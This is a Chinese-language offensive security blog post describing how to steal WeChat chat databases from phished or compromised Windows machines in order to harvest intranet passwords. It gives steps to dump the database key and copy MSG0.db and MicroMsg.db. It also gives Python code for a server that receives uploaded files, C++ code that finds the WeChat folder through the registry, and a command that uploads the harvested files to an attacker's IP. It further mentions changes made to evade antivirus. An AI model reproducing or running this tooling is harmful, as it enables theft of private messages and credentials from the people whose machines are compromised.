微信聊天记录之自动化回传

1.场景

钓鱼攻击(通过钓鱼/微信控到的机器通常都是登录状态)
渗透到运维机器(有些运维机器会日常登录自己的微信)
实战中钓鱼时常在微信聊天记录中找到目标内网系统账号、机器账号密码,尽可能的不触发大量扫描告警下在内网中精准打到跳板机,文章仅供学习使用。

2.手动

https://github.com/Ormicron/Sharp-dumpkey
1、获取微信数据库密钥,回传DBpass.bin
1.png
2、下载目标聊天数据库文件
默认保存目录在 c:\User\xxxx\Documents\Wechat Files\ wxid_xxxxx\Msg\Multi
超出240MB会自动生成MSG1.db,以此类推。

1
2
3
4
wxid_xxxxxxxx\Msg\Multi\MSG0.db > 聊天记录
wxid_xxxxxxxx\Msg\Multi\MSG1.db > 聊天记录
wxid_xxxxxxxx\Msg\Multi\MSG2.db > 聊天记录
wxid_xxxxxxxx\Msg\MicroMsg.db > Contact字段 > 好友列表

2.png
3.将上面三个文件回传到同目录,配合ChatViewToo(https://github.com/Ormicron/chatViewTool)打开解密即可查看,在搜索处”administrator”/ ‘“root” “密码” “ip等”
3.png

3.自动化

看网上用的是根据注册表获取微信默认位置,其中需要微信id,通过基址和偏移可以得到,如果上线权限较低无法操作注册表或杀软hook就很尴尬了
2.这里用FindFirstFile遍历全盘指定文件后缀,如MSG0.db,MicroMsg.db文件压缩打包并通过curl后台运行上传到服务器。(curl.exe win10默认自带,可以上传一个或者引用C++第三方库)
项目地址:https://github.com/c1y2m3/FileSearch

服务端接收文件

参考链接:https://floatingoctothorpe.uk/2017/receiving-files-over-http-with-python.html
使用curl将打包压缩的文件上传Put到文件服务器
example:python http_server.py 8 /opt/rh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python

"""Extend Python's built in HTTP server to save files
"""
import os
import logging
import sys
try:
import http.server as server
except ImportError:
# Handle Python 2.x
import SimpleHTTPServer as server

log_path = 'run_server_logs.log'
logging.basicConfig(level=logging.INFO,format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s',datefmt='%a, %d %b %Y %H:%M:%S',filename=log_path)
class HTTPRequestHandler(server.SimpleHTTPRequestHandler):

def do_GET(self):
self.send_response(404)
self.wfile.write("404 Not Found")

"""Extend SimpleHTTPRequestHandler to handle PUT requests"""
def do_PUT(self):
"""Save a file following a HTTP PUT request"""
filename = os.path.basename(self.path)

# Don't overwrite files
if os.path.exists(filename):
self.send_response(409, 'Conflict')
self.end_headers()
reply_body = '"%s" already exists\n' % filename
self.wfile.write(reply_body.encode('utf-8'))
return

file_length = int(self.headers['Content-Length'])
output_file = 'tmp.txt'
with open(filename, 'wb') as output_file:
output_file.write(self.rfile.read(file_length))
self.send_response(201, 'Created')
self.end_headers()
reply_body = 'Saved "%s"\n' % filename
logging.info(self.headers)
self.wfile.write(reply_body.encode('utf-8'))

if __name__ == '__main__':
if sys.argv[2:]:
os.chdir(sys.argv[2])
server.test(HandlerClass=HTTPRequestHandler)

最终效果

FileSearchPlus.exe default xxx.xxx.xxx.xxx
微信截图_20220930000738.png

改进

实战中发现全盘查找微信db在c2中非常拉跨,查找等待时间较长,且盘符越多越慢
1、直接读取注册表的键值,wxid关键字匹配拼接路径(碰到用户自设的路径,需要加个指定路径去)

微信截图_20221014133740.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void getPath(char *dbpath)
{
char cmd_command[256] = { 0 };
char regname[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders";
HKEY hKey;
DWORD dwType = REG_BINARY;
REGSAM mode = KEY_READ;
DWORD length = 256;
int ret = RegOpenKey(HKEY_CURRENT_USER, regname, &hKey);

ret = RegQueryValueEx(hKey, "Personal", 0, &dwType, (LPBYTE)dbpath, &length);
strcat(dbpath, "\\WeChat Files");
//cout << dbpath << endl;

if (ret == 0) {
RegCloseKey(hKey);
}
else {
printf("failed to open regedit.%d\n", ret);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void getFileNames(string path, vector<string>& files)
{
intptr_t hFile = 0;
//文件信息
struct _finddata_t fileinfo;
string p;
string::size_type idx;

if ((hFile = _findfirst(p.assign(path).append("\\*").c_str(), &fileinfo)) != -1)
{
do
{
//如果是目录,匹配文件夹
if ((fileinfo.attrib & _A_SUBDIR))
{
if (strstr(fileinfo.name, "wxid") != NULL)
files.push_back(p.assign(path).append("\\").append(fileinfo.name));
}

} while (_findnext(hFile, &fileinfo) == 0);
_findclose(hFile);
}
}

2、传输改成socket协议,支持大文件上传,效率很快,需要启动个Server socket

3、参考https://github.com/Ormicron/Sharp-dumpkey
远程拉取基址,考虑到免杀性改成了C++代码,